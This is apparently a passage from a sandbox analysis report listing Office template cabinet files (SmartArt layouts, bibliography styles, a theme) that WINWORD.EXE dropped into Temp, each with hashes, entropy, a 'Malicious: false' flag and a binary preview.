File Type:	Microsoft Cabinet archive data, many, 4313 bytes, 2 files, at 0x44 "chevronaccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20457
Entropy (8bit):	7.612540359660869
Encrypted:	false
SSDEEP:	384:KyeISBuydn5rpmp77G8E0GftpBjE/kFLrHRN7ngslI66YVj:KHISBvd5rpmFG8Pi6/6nK666j
MD5:	4EFA48EC307EAF2F9B346A073C67FCFB
SHA1:	76A7E1234FF29A2B18C968F89082A14C9C851A43
SHA-256:	3EE9AE1F8DAB4C498BD561D8FCC66D83E58F11B7BB4B2776DF99F4CDA4B850C2
SHA-512:	2705644D501D85A821E96732776F61641FE82820FD6A39FFAF54A45AD126C886DC36C1398CDBDBB5FE282D9B09D27F9BFE7F26A646F926DA55DFF28E61FBD696
Malicious:	false
Preview:	MSCF............D................................?..................................chevronaccent.glox.................Content.inf..O.$N...[.........B.....?.....$Zy..Zkr...y<.....Di-.aVX/....h..-.~........#.../.Fz....T...p....A..eHMe[..p...=................f..../%o......F@..=..$.B!....}.0..g..^vlI......f.W.F...Nm..2`...)...,.HL4.nsl.F.ir.k..e.!^.j2.v.iT....t.....!h..Y...2Q..-.x.,.Xj.U.cj,....9.....)..W..n3f.......(cH.D.4M.!.+..4..3r..y......\|r..@.PD.R..#...F..nJAR..1{-.....u3..$..L.b+h....:lZ.>....q.?. ~l..^.%.m....a...cG.h.?.\|.?7.'....b.G.4..'..A...o.Z...//..?...d.......C..Z.....]Yv.g.]..... .........]x.#=.../.7;R.j....G.....zq=O`[.'5g.D.u..)..../../.v.JmCW.da....3.f..C.z%...S=....;A.q.\|....z.E.aRu........ k..J"+.f.S.@.........eD4....\0..t./U..%.H..........M:..U.......J...Z..H.DG..u^..D..P....`.^b.........`c......#.....c.?...#..C.V.&.'..f.'...f.[..F.O..a...&..{TiXg4; .X."..0...B.#..^..........N"..w.@f...gd.S..K.....E....ZR...;.twR>.z.

C:\Users\user\AppData\Local\Temp\cab88C4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15418 bytes, 2 files, at 0x4c "harvardanglia2008officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31562
Entropy (8bit):	7.81640835713744
Encrypted:	false
SSDEEP:	384:yhsBScEWkrljntbzuMmWh7ezPnGgbA8E0GftpBjohgsRFLrHRN7ybll7PK/p:MsBScwtnBmWNeTzA8PiuWsvyDI
MD5:	1D6F8E73A0662A48D332090A4C8C898F
SHA1:	CF9AD4F157772F5EDC0FDDEEFD9B05958B67549C
SHA-256:	8077C92C66D15D7E03FBFF3A48BD9576B80F698A36A44316EABA81EE8043B673
SHA-512:	5C03A99ECD747FBC7A15F082DF08C0D26383DB781E1F70771D4970E354A962294CE11BE53BECAAD6746AB127C5B194A93B7E1B139C12E6E45423B3A509D771FC
Malicious:	false
Preview:	MSCF....:<......L...........................:<...?..................D;.......V..............harvardanglia2008officeonline.xsl.L...............Content.inf.Vu......[...E..o..3D.5..nF.A..+.e.....6r..f........M3...-.s.m.... $r.b.!.q!.....G...0.\.......fd......%m...'1Y..f..O....#.P.,{..m...\|..ww.{.m...f...n%...,..y...0y...8.Q...`.../.q....a...',.V......8.7..8t..................6.]..6..nw..ynm..-l.Y..,.I?..$....+b9$E!S@"..) .4........H...lA...@!a.F.l$..0#!.....n&.5j.t+..1f\|.+....E.zDk.l8.+<q.^.........\5.l..iT.9...........Y..6.^,.o.bn.E5w..s.../...W.gS..j9..'W.F......].4\Mzz..Td..Ho..~.Q...Z..D..O.JP..m..s.j.:..........y._.....#..rD....60.\!y........p.o3,..Ub,......[[L.{.5.....5.7UDB9.{;;g.z.z..jM.G.MY.oe.....(r..B6..CV.7Fl.Z/....-.O.vY.c...-..........b.T)3.u..f~x2.?.8.g.x.-.....Qt_...$e.l..jtP..b....h...sW0.`.....c...F_....t.........LC..*5I.X$^.;&....#.._\J..........;..wP..wX.qy.qs...}46..fK.XN.&0........k1....8...............'t.......}.......O_.

C:\Users\user\AppData\Local\Temp\cab8924.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6005 bytes, 2 files, at 0x44 "HexagonRadial.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22149
Entropy (8bit):	7.659898883631361
Encrypted:	false
SSDEEP:	384:b98FG/zdCbf7BOEawSi8E0GftpBjEPTFPxFLrHRN7S5ll7PK/pA2:N/zAbDae8Pi6PFPSRIA2
MD5:	66C5199CF4FB18BD4F9F3F2CCB074007
SHA1:	BA9D8765FFC938549CC19B69B3BF5E6522FB062E
SHA-256:	4A7DC4ED098E580C8D623C51B57C0BC1D601C45F40B60F39BBA5F063377C3C1F
SHA-512:	94C434A131CDE47CB64BCD2FB8AF442482F8ECFA63D958C832ECA935DEB10D360034EF497E2EBB720C72B4C1D7A1130A64811D362054E1D52A441B91C46034B0
Malicious:	false
Preview:	MSCF....u.......D...........................u....?..................................HexagonRadial.glox.................Content.inf.........[.....`........./.mT.T6...CP..z5...0.PcUmCUSUCU.Q.P.0..f............^...H..2e.[..8...ld......F.%.j.w!R..NA.L............ .r..z....$&.........P.=.r...O...e..dfv_.i%.C....^......?..x...+d..].B.3..EU...\|Cc..z.`lQp..fr.....8!;.8.p.ZwH\.........~..T.t..]..H.]..S.2..Vt.....r.H../..-8........!:.Y&..\|A..J.U...-.%..k..U...4m.. .q../..b.8.vc~......_q1.?..Bh.v.....L..I.$I..s.".u.. Y....I^5.v...3.......].^)b.t.j...=...Ze~.O...\|.}T.._9c........L....BV.^......X..?.....{.>.j..5.m...d.7........g[..f.nST...i..t..\|.T.jjS..4p.Pxu....W...\|.A)..\|9;....H.e.^.8D..S...M..Lj.\|...M.m+..H.....8.&-....=.L.....n.v..M.9...l....=r......K.F.j.(.(xD.3..r'9.K..-...5..Z..x....._....a[...J...`.b_a\\j.ed..\.3.5....S.T...ms.....E...Xl.y.LH=...}..0.T...04.4..B[..H.....B{B9.h..=.8Mn.*.TL.c..y.s.?.c9$l...).h).6..;.X../_>Pl...O...U.R..v.dy$A

C:\Users\user\AppData\Local\Temp\cab8925.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3749 bytes, 2 files, at 0x44 "TabbedArc.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19893
Entropy (8bit):	7.592090622603185
Encrypted:	false
SSDEEP:	384:v3Zh3VlkpSIcgbA8E0GftpBjEmm3UFLrHRN7GYvlvQyUTL2mTAp:v31qp/A8Pi6mUqGGvU+mcp
MD5:	EF9CB8BDFBC08F03BEF519AD66BA642F
SHA1:	D98C275E9402462BF52A4D28FAF57DF0D232AF6B
SHA-256:	93A2F873ACF5BEAD4BC0D1CC17B5E89A928D63619F70A1918B29E5230ABEAD8E
SHA-512:	4DFBDF389730370FA142DCFB6F7E1AC1C0540B5320FA55F94164C0693DB06C21E6D4A1316F0ABE51E51BCBDAB3FD33AE882D9E3CFDB4385AB4C3AF4C2536B0B3
Malicious:	false
Preview:	MSCF............D................................?..................c...............TabbedArc.glox.....c...........Content.inf.;....Y.[.........B.....?.T..ZD...........^C...U.R<Z....z+.I.....Z..-.V...f.....lB..\P.....=.-p....w ...\.kD..x'v..T..A..............".8...d.........FD.ZL.h..T...bp.)9B.v..i..VX...&..\..7.s..qy...l........Rty.Y...rU..>.9...8....L..\.^x.kDU.\|TJ..{kN.G..E..$.kvy?.. mv......P..4.....q.1.6<u....e..dD...4.1E..Xi.5.=....1.P.c.K~S...YMO:.?..cL.g.tq\.(b1....E..0A.i..C...BT.m.S......:...}.&U..#QL..O.O../..K......=..........0a..O............BYP......>f.......iu...7.K..;QO~.t....%N.s.]>~#../7YN.....C..9.=cY.......y..U5.....,.....u.....#_..SG.`NR.....?..d.R.k.rX$...&.... ..h.4T.D^k-xA...............Hz..ep)e..4..P."fo Ne...o.....0n.Exr.........H..v...A.."..%)2......5...".}j.o8...E.HRQ;}.. .._L.+.jz....{.U..}...=B.o.^..vZ.:5.Z.M....y{\(...N..9...EB*MG...!N.vy..^...nE..2..@.;.4..C..t.4....h..O.8.=.m./...\|Lu.\|mCU..b.^.n39.h[M...%D{..w.1

C:\Users\user\AppData\Local\Temp\cab8926.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5647 bytes, 2 files, at 0x44 "RadialPictureList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21791
Entropy (8bit):	7.65837691872985
Encrypted:	false
SSDEEP:	384:PWew5RNDcvPgbA8E0GftpBjE0hsyaFLrHRN7BD9lI66YR:P3GRNDcEA8Pi60hsyABDo66g
MD5:	7BF88B3CA20EB71ED453A3361908E010
SHA1:	F75F86557051160507397F653D7768836E3B5655
SHA-256:	E555A610A61DB4F45A29A7FB196A9726C25772594252AD534453E69F05345283
SHA-512:	2C3DFB0F8913D1D8FF95A55E1A1FD58CE1F9D034268CD7BC0D2BF2DCEFEA8EF05DD62B9AFDE1F983CACADD0529538381632ADFE7195EAC19CE4143414C44DBE3
Malicious:	false
Preview:	MSCF............D................................?..................................RadialPictureList.glox.................Content.inf....8....[.... $nq......C...../U..........a......S.Q...Q....j............(..z,.g.........^...Y..D... #i.TH5.<.=N..$..7.p".7.............`.3..1~,=,(.d8.Z.1....4'G.....!W^gClf._j.-N..&k.....Y3` =.(S..B^...i.zB.U....0O..h...I.(.......L...5.X.8.Sc<=>w.=.?&.....mR.......x.......mpW.T..^.FU...SN.C)......vsa.,x......,....E..i>..[g...#t...M..GR.9..$/4.:..q.bc9..x{bC.0..K.)..t.Y.&.v.d.16.B..c..or..W.,.B.........O.0..k.v........*F+..U.w...d...o8......A).}...#......L.!?.U.r.^.$...e.(..PG)8..+.9.5.l}.)..b.7+. 4....-.lC...\|..j..Q.,.....7.W...\|;j...%...:...\|H..........<..%...K.....Fy.q$.k..}..8.9.M.u.?$].......r.....e.\|..._..iT.;Dq5[....f.s..P.......e.T....!Y{.....t.wm..A..w-..7...3..T.:8.4.a[.Oo.. V.l.@.}..........E.&..J.....+..+.9)9<.._R.Hb.....V..Qu....:v.t.Li.0..J..V..b...!..N....-mD..c..(.[&o>.M.b..H.q..lk../..........W.8..z..B...

C:\Users\user\AppData\Local\Temp\cab8927.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4410 bytes, 2 files, at 0x44 "PictureFrame.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20554
Entropy (8bit):	7.612044504501488
Encrypted:	false
SSDEEP:	384:zEAH676iPi8+IS5iqn7G8E0GftpBjExDxIHFLrHRN7Ke/ll7PK/pGaz6:zEhG8+ISrG8Pi6xDxCKoIGaz6
MD5:	486CBCB223B873132FFAF4B8AD0AD044
SHA1:	B0EC82CD986C2AB5A51C577644DE32CFE9B12F92
SHA-256:	B217393FD2F95A11E2C594E736067870212E3C5242A212D6F9539450E8684616
SHA-512:	69A48BF2B1DB64348C63FC0A50B4807FB9F0175215E306E60252FFFD792B1300128E8E847A81A0E24757B5F999875DA9E662C0F0D178071DB4F9E78239109060
Malicious:	false
Preview:	MSCF....:.......D...........................:....?..................................PictureFrame.glox.................Content.inf........[.... '.q..@.........<./..+./. ...."o.o./..{^a.7^.D.HA....^J... ...........T%q..b...+pz.n.=....jT.+M..=H..A...py.3.........H...N...[..%..~....>.%....3.r...wx.....0.....7..94..2..45..7f.......D.. ...[...f.:H..../N..4.....8.....:x.I....u\|.`."...\..N..%.M#..^v$.*....T.m.....?.-.wki.X..8..F.G..Y.^8...-....+.&.+&.No...e!.#.8.....YF.......<w.....=.Q.S..7....MW....M..9A.3..c..L....\|.E-Y....]n".\|....b9..l@.d.T...a.f...~.&k.[..yS..q..]L}..)w.....$.@..v...[9..X....V...a.NK....m9.5.....Kq.;9`.U.e...8.<..)Y.H........z.G...3n.yWa.g.>.w!e.B8:......f..h..z....o.1<.RT..WK...?g .N..+..p.B.\|...1pR_......@...a....aA......ye..8...+M.l..(.d..f.;....g........8R.\.w.:ba....%...\|p....`lrA.\|....a.U.m=ld......7....#..?Dq..D.....(.5.K.a..c.G..7..]hF..%:}......}J.j$.....4...l];..v>.&j........Y.vk..$1.@X$...k...9..?...z..![..../...).a.=....aZ^.3?....

C:\Users\user\AppData\Local\Temp\cab8928.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14939 bytes, 2 files, at 0x44 "CircleProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	31083
Entropy (8bit):	7.814202819173796
Encrypted:	false
SSDEEP:	384:0XbSq3W46TVZb5fOFo1HtZwGqtRT44hS+nyBoiuFgbA8E0GftpBjEcBFLrHRN7Ku:0XpOflfOFo1DMr/iuuA8Pi6cfKjW66b
MD5:	89A9818E6658D73A73B642522FF8701F
SHA1:	E66C95E957B74E90B444FF16D9B270ADAB12E0F4
SHA-256:	F747DD8B79FC69217FA3E36FAE0AB417C1A0759C28C2C4F8B7450C70171228E6
SHA-512:	321782B0B633380DA69BD7E98AA05BE7FA5D19A131294CC7C0A598A6A1A1AEF97AB1068427E4223AA30976E3C8246FF5C3C1265D4768FE9909B37F38CBC9E60D
Malicious:	false
Preview:	MSCF....[:......D...........................[:...?...................A..............CircleProcess.glox......A..........Content.inf......9.B[.....@........!...(A.D..K.W.wwpwJj\.K\w...]...K.!.....@0..?,...}won`... ....&I..(;.....X.u..^.R..^......_:....W>f\....T...B..i`\|q.....................i.5....(........0q7@.@..F...?A.`.....,L.......5.+../56..a`....1C5..9.I.N.......@\|<+./......... .ya....>l.,t.......y.y5...FF.,F..jCA...SA..H....8u.L..eM?.w8.......~^.Mr.[...(.._......u..+.......j..TJ.:<.3.X`...U.bz...[...r-...[...+..B.......}...\'.i...C.8.B_...c.8</..s.....VQ.Y..m.,.j~;y ...2.5.VQ...K..jP..2..r-...HA...."..9).7.....5.E._.wq.......!.+n+.f...s].4M'.1&...5....4..k..NV.M1.7`a..<.P4.\|.mrd.i.R...u...............v.}..n\.C$.....[..2c.^..W..g..._.0.C.o....%.z.!.;.@y.`\..UO#i.)...Q...........L. .\:_..H.{.W...@...T.4..A.a...Wo?o$4.....#.V.s8M.Gh..p?A...Y.....)...........r\|...!..o9...8..%#.[....;...3<Z...g....~.Z....,.(...qA.'x#..xC..@...HOuW.[.[....c.........

C:\Users\user\AppData\Local\Temp\cab8929.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 9170 bytes, 2 files, at 0x44 "InterconnectedBlockProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	25314
Entropy (8bit):	7.729848360340861
Encrypted:	false
SSDEEP:	384:75V23GNhfG/YvmBqWDP7G8E0GftpBjEB1vrFLrHRN7mKll7PK/pRU0:LS/Yvc7TG8Pi6BLm6IS0
MD5:	C47E3430AF813DF8B02E1CB4829DD94B
SHA1:	35F1F1A18AA4FD2336A4EA9C6005DBE70013C7FC
SHA-256:	F2DB1E60533F0D108D5FB1004904C1F2E8557D4493F3B251A1B3055F8F1507A3
SHA-512:	6F8904E658EB7D04C6880F7CC3EC63FCFE31EF2C3A768F4ECF40B115314F23774DAEE66DCE9C55FAF0AD31075A3AC27C8967FD341C23C953CA28BDC120997287
Malicious:	false
Preview:	MSCF.....#......D............................#...?...................#..............InterconnectedBlockProcess.glox......#..........Content.inf...<.:#.$[......O..........5f.P.5CU..6..jT..U..U..UM.T.........h................-... .......6...`.....G...........'.,DN:........... "..4..1u.....%.u..{{,....@lp..}..`.......Z...K.....Z..... Z4.<?..C.BF.....k.!Hl...]...Tvf..g....)...vny6.'..f....Z.R.`.......+....!..!.....:..4fj....."q..f..E..^!k.....M.c....R...B......g...~.........o.'.7,.e.,..7.R.e,(.+..+:....Q....f...P.H.I..U.....Jl...l...z.]7...C...<...L.,..@...i.{..e]K...2..KRW..7.-'.G.l!.n7..J.v.C...%/.....q...@..l..e..$..N..sg8]oo.(q(_.?.X.s...Ua..r0...Rz.o.eT.j...b..}",n.qou..M.[.;%../c.x.4.z.2.U.]..D...h...-R.$.=\3..P......N.mP......J...}BPn...g]d.5k..C.ee.ml...\.g...[.......<..6$.%.I#S9..I...6.i........_..P.n....c$.3..zw.hF......_{.+...o...[.&........&...M..m.....;....0....D7...4nQ.=/.._`._.nh.D.m..h.+....8..p..q.4.w.\...iy...*...lN6F..c.

C:\Users\user\AppData\Local\Temp\cab899C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5864 bytes, 2 files, at 0x44 "architecture.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	7.662386258803613
Encrypted:	false
SSDEEP:	384:M7FUtfIdqSHQs7G8E0GftpBjED/C4RQrFLrHRN7TT8DlvQyUTL2mH:sWgdqR2G8Pi6D6YQZTTMvU+mH
MD5:	ABBF10CEE9480E41D81277E9538F98CB
SHA1:	F4EA53D180C95E78CC1DA88CD63F4C099BF0512C
SHA-256:	557E0714D5536070131E7E7CDD18F0EF23FE6FB12381040812D022EC0FEE7957
SHA-512:	9430DAACF3CA67A18813ECD842BE80155FD2DE0D55B7CD16560F4AAEFDA781C3E4B714D850D367259CAAB28A3BF841A5CB42140B19CFE04AC3C23C358CA87FFB
Malicious:	false
Preview:	MSCF............D................................?..................................architecture.glox.................Content.inf..q5.^...[.....0y......../..CL.C5.Q..U5g.z....UUUMPC...C..P....T.....=..s..4c...-3H..E...2..2*..T...../.i.;$..............%...................'h.........#0.......[........c.h.....O...%.61...[.J..:.,^....W.]$..u...N.R.....H.......:%I.g5Kd.n6...W2.#.UL..h.8NN../.P...H.;@.N.F...v."h..K.....~.....8...{.+...&.#A.Q'..A.....[NJ.X.....\|.\|.G5...vp.h.p..1.....-...gECV.,o{6W.#L....4v..x..z..)[.......T.....BQ.pf..D.}...H....V..[._.'.......3..1....?m..ad..c(K.......N.N.6F%.m......9...4..]?...l6..).\p;w.s....@...I%H.....;\...R......f...3~:C...A..x....X...>...:~.+..r@..."......I..m.y..)F.l..9...6....m...=..Q.F.z..u......J].{WX...V.Z.b.A0B..!....~.;Z.....K.`c..,X.MFz....].Q.2.9..L."...]...6...JOU..6...~../......4A.\|.......i.LKrY...2.R.o..X.\....0.%......>H.....8.z..^....5d\|...4\|...C......R28.E......a....e...J.S..Ng.]<&..mm

C:\Users\user\AppData\Local\Temp\cab89BE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 18672 bytes, 2 files, at 0x4c "APASixthEditionOfficeOnline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.840826397575377
Encrypted:	false
SSDEEP:	768:i3R9VYnIYfPYmqX0CnF1SRHVnLG8Pi61YbEIFO:ih9VjYfPYlk+F1SJxP71YbEIFO
MD5:	62863124CDCDA135ECC0E722782CB888
SHA1:	2543B8A9D3B2304BB73D2ADBEC60DB040B732055
SHA-256:	23CCFB7206A8F77A13080998EC6EF95B59B3C3E12B72B2D2AD4E53B0B26BB8C3
SHA-512:	2734D1119DC14B7DFB417F217867EF8CE8E73D69C332587278C0896B91247A40C289426A1A53F1796CCB42190001273D35525FCEA8BA2932A69A581972A1EF00
Malicious:	false
Preview:	MSCF.....H......L............................H...?...................G......................APASixthEditionOfficeOnline.xsl.H...............Content.inf..h;.....[...Q..\..3S.5..oVP!i/Z.Ls...]q$...xY..+W.qm..B..y/.5.s..x$../K./.x.$.....}.......\........LNf..Hd.&."Ip.L.Mr-@.D..kW~i...^.....F.....T.U....../..0..2.{.q.T.`'{.00.{.B...>.R..2....1.~_.f..s...........~....~[..v..w..v....$[K.r$#[6...d;[...#.9.-...G..Z..eAR.0")%JI?&....$..$.H..$(........f.> k....hP...p...!j.T......l7..../3..(2^V...#..T9...3.@[0...le:...........E....YP.\.....au1...\.S\|..-.duN.Z..g.O......X8....1.....\|,.f/..w.\|Wk]zJz.g'./7h..+.....}............x....s.2Z\..W.{...O....W.{j.U..Q....uO=.p.M k.E.S{SUd.@....S.Syo8>......r......8..............Z?>.mUAg....?o....f.7..W.n...P..........d.S?...\..W`...c.ua..........#.Y...45...F(d.o\09^..[.}...BsT.SD..[l.8..uw.7l..S.9T.KR..o......V..]...M .....t.r...:P...M....4.F.....@..t.1t..S...k.2.\|5...i.%H..<.J...0n.....lZ.....?.?.~..O .)..

C:\Users\user\AppData\Local\Temp\cab89CE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 291188 bytes, 2 files, at 0x44 +A "Banded.thmx" +A "content.inf", flags 0x4, ID 56338, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	307348
Entropy (8bit):	7.996451393909308
Encrypted:	true
SSDEEP:	6144:7vH3uG+yiWx0eVJyORloyyDqnHefzOs81MrXLXx7:b36yiWH/LRS2CJl1
MD5:	0EBC45AA0E67CC435D0745438371F948
SHA1:	5584210C4A8B04F9C78F703734387391D6B5B347
SHA-256:	3744BFA286CFCFF46E51E6A68823A23F55416CD6619156B5929FED1F7778F1C7
SHA-512:	31761037C723C515C1A9A404E235FE0B412222CB239B86162D17763565D0CCB010397376FB9B61B38A6AEBDD5E6857FD8383045F924AF8A83F2C9B9AF6B81407
Malicious:	false
Preview:	MSCF....tq......D...........................tq.. ?..........\|..................Mn. .Banded.thmx............Mn. .content.inf..;.u.i..[...............?....^.j.{j.B...$M/!...W....{!..^0x/.6...&............w......$.B..J.?a.$=...P..L...d..........+./.\..E:h.....-.$..u-.I..L\.M.r..Y..:rtX:....8...........+8.}{......&.-..f.f..s3-P.''.r...Z-"/E../...^%^N(,.$..$.H..O........q>...\|.\|......y..m.)u....`.....z.n..-.[.5....xL....M...O..3uCX..=4.....7.yh...dg.;..c.x.4..6..e..p.e"..,.!.St{..E..^I.9j....;..`.Y..#.0..f...G.....9~./....QCz.93..u%hz.........t9.""........)..7K.c~E!..x.E.p...[......o..O.j.c.......6.t{...".....t9V;xv....n<.F.S2.gI.#6...u..O..F.9.[.L.....K....#..zL..I...o....k...qog.......V..BKM..#.bET.)..&4..m.w.......E.a[.Q.y.B...w...r.nd...)...<..#..r[4.y...#.z.....m?.2K.^...R{..m..f......r?]..>@...ra$...C+..l].9...."..rM9=......]".'...b&2e...y..a..4....ML..f...f"..l..&.Rv=2LL..4...3t_x...G....w..I.K....s.t.....).......{ur.y2...O3.Kf.*P(..F..-.y.Z...

C:\Users\user\AppData\Local\Temp\cab89CF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 7453 bytes, 2 files, at 0x44 "pictureorgchart.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	23597
Entropy (8bit):	7.692965575678876
Encrypted:	false
SSDEEP:	384:y6aR//q0bJi/Uj+957G8E0GftpBj/4YOFLrHRN7LxhKll7PK/ph:y6I/Li/UjmVG8PiZ4YsLxh6Ih
MD5:	7C645EC505982FE529D0E5035B378FFC
SHA1:	1488ED81B350938D68A47C7F0BCE8D91FB1673E2
SHA-256:	298FD9DADF0ACEBB2AA058A09EEBFAE15E5D1C5A8982DEE6669C63FB6119A13D
SHA-512:	9F410DA5DB24B0B72E7774B4CF4398EDF0D361B9A79FBE2736A1DDD770AFE280877F5B430E0D26147CCA0524A54EA8B41F88B771F3598C2744A7803237B314B2
Malicious:	false
Preview:	MSCF............D................................?..................................pictureorgchart.glox.................Content.inf.W..y....[.............../.jC....U.CUUUTU.5...jjPU..MP....T..0....o0.......Y.=....P.({.3.p..."pA!>r../3.q..7...........!...TO....(..%......6...3E?....~......CZmndse.Qy....p....h....=.:5...F..%.E.&.v.`I~. ..%._..b]..Y..Q..R.........nN.q8c..a..L..X/.M...PP.q..SpZ.K]>D"Pf..B.c....0..\|I.Q.,.g/..Kev.../..=......w..}3.....(....+#T.....K`N.u..Z.....rriK.(...(...6.<R.%.]..NX..b..].C.u....++......Ia.x. .7....J.#............w>....7..R...H>....@%....~.yA.......~.UB... .P..$...-...v.....=M."....hw..b....{.....2pR....].C..u@=G."Y..;..gc/N.N.YB.Z.q.#....$....j.D..P..!.)S.{..c....&'E.lJ%.\|O.a...FG.\|.....A..h.=c7.)d.5...D...L...IQ..TTE.NL-.*M..>..p0.`......m..,.w#rZ..wR\@.Wn..@Q...}..&...E...0K.NY....M.71..`.M./:.>..._L..m...,U.l....._fi...nj9..,..w.s.kJ.m.s.M.vmw.!.....B.s.%.-').h.....)c.l....F..`3r...-.....0..7..&N.....n.#H...<7

C:\Users\user\AppData\Local\Temp\cab8A02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6450 bytes, 2 files, at 0x44 "ThemePictureAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22594
Entropy (8bit):	7.674816892242868
Encrypted:	false
SSDEEP:	384:L7d2l8FbHaaIKbtv1gDISi8E0GftpBjEZRFLrHRN74bUll7PK/pd:LUlCIOt/8Pi6Zv4bMId
MD5:	EE0129C7CC1AC92BBC3D6CB0F653FCAE
SHA1:	4ABAA858176B349BDAB826A7C5F9F00AC5499580
SHA-256:	345AA5CA2496F975B7E33C182D5E57377F8B740F23E9A55F4B2B446723947B72
SHA-512:	CDDABE701C8CBA5BD5D131ABB85F9241212967CE6924E34B9D78D6F43D76A8DE017E28302FF13CE800456AD6D1B5B8FFD8891A66E5BE0C1E74CF19DF9A7AD959
Malicious:	false
Preview:	MSCF....2.......D...........................2....?..................0...............ThemePictureAccent.glox.....0...........Content.inf.o.@D..8.[.........B.....?. $...K.....~....aZ.WA"...k.......Z......."......"..X.fpB 2@d..87.[.A......p..e.'......F..P^%.%.RK...........T%0..........9..+8 ...&.q.....+.......^.fad^^n...d.....s1..... .3j.c-c7..y<.....6........C5n.KG...Rs[lt..ZkwI.!..Uj.ez_!A^: /.;.Rl4....^..<6..N...'.YY.n.E{.`..s.7..z.......L.y.Y.....q.kx.....[5.+<to......1...L.r.m..kC.q.k.1..o.w8s.....xh.@.b.`l\...}z1.6..Y.</DY...Z5..D...0..4.;..XAA..0qD..E.....h...C..hH......S..Z.\.VBu......Rxs.+:RKzD......{......a..=......).<.....d.SM.......c!t.4.h..A=J~.>q?Hw.^.....?.....[..`....v.nl..A.u...S!...............c......b.J.I.....D...._?}..or.g.JZ#."_``.>.....{...w......s...R.iXR..'z....S.z.\..f.....>7m..0q.c-8\..nZw.q..J.l....+..V....ZTs{.[yh..~..c........9;..D...V.s...#...JX~t8%......cP^...!.t......?..'.(.kT.T.y.I ...:..Y3..[Up.m...%.~

C:\Users\user\AppData\Local\Temp\cab8A15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4967 bytes, 2 files, at 0x44 "TabList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21111
Entropy (8bit):	7.6297992466897675
Encrypted:	false
SSDEEP:	384:wWZsOvbMZGgbA8E0GftpBjEtnFLrHRN7Dfll7PK/pirk:xZRvuzA8Pi6t9DPISk
MD5:	D30AD26DBB6DECA4FDD294F48EDAD55D
SHA1:	CA767A1B6AF72CF170C9E10438F61797E0F2E8CE
SHA-256:	6B1633DD765A11E7ED26F8F9A4DD45023B3E4ADB903C934DF3917D07A3856BFF
SHA-512:	7B519F5D82BA0DA3B2EFFAD3029C7CAB63905D534F3CF1F7EA3446C42FA2130665CA7569A105C18289D65FA955C5624009C1D571E8960D2B7C52E0D8B42BE457
Malicious:	false
